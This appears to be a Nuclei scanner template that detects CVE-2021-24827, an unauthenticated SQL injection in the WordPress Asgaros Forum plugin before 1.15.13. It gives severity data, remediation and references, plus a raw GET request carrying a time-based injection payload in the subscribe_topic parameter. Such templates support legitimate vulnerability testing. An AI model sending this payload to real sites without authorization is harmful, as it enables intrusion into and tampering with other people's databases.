WordPress Asgaros Forum <1.15.13 - SQL Injection

id: CVE-2021-24827

info:
  name: WordPress Asgaros Forum <1.15.13 - SQL Injection
  author: theamanrawat
  severity: critical
  description: |
    WordPress Asgaros Forum plugin before 1.15.13 is susceptible to SQL injection. The plugin does not validate and escape user input when subscribing to a topic before using it in a SQL statement. An attacker can possibly obtain sensitive information, modify data, and/or execute unauthorized administrative operations in the context of the affected site.
  impact: |
    Successful exploitation of this vulnerability allows an attacker to execute arbitrary SQL queries, potentially leading to unauthorized access, data manipulation.
  remediation: |
    Upgrade to the latest version of Asgaros Forum (1.15.13 or higher) to mitigate this vulnerability.
  reference:
    - https://wpscan.com/vulnerability/36cc5151-1d5e-4874-bcec-3b6326235db1
    - https://wordpress.org/plugins/asgaros-forum/
    - https://plugins.trac.wordpress.org/changeset/2611560/asgaros-forum
    - https://nvd.nist.gov/vuln/detail/CVE-2021-24827
    - https://github.com/20142995/sectool
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2021-24827
    cwe-id: CWE-89
    epss-score: 0.12559
    epss-percentile: 0.96237
    cpe: cpe:2.3:a:asgaros:asgaros_forum:*:*:*:*:*:wordpress:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: asgaros
    product: asgaros_forum
    framework: wordpress
  tags: time-based-sqli,cve2021,cve,wp-plugin,asgaros-forum,unauth,wpscan,wordpress,wp,sqli,asgaros,vkev,vuln

http:
  - raw:
      - |
        @timeout: 15s
        GET /forum/?subscribe_topic=1%20union%20select%201%20and%20sleep(6) HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'duration>=6'
          - 'status_code == 200'
          - 'contains(content_type, "text/html")'
          - 'contains(body, "asgarosforum")'
        condition: and
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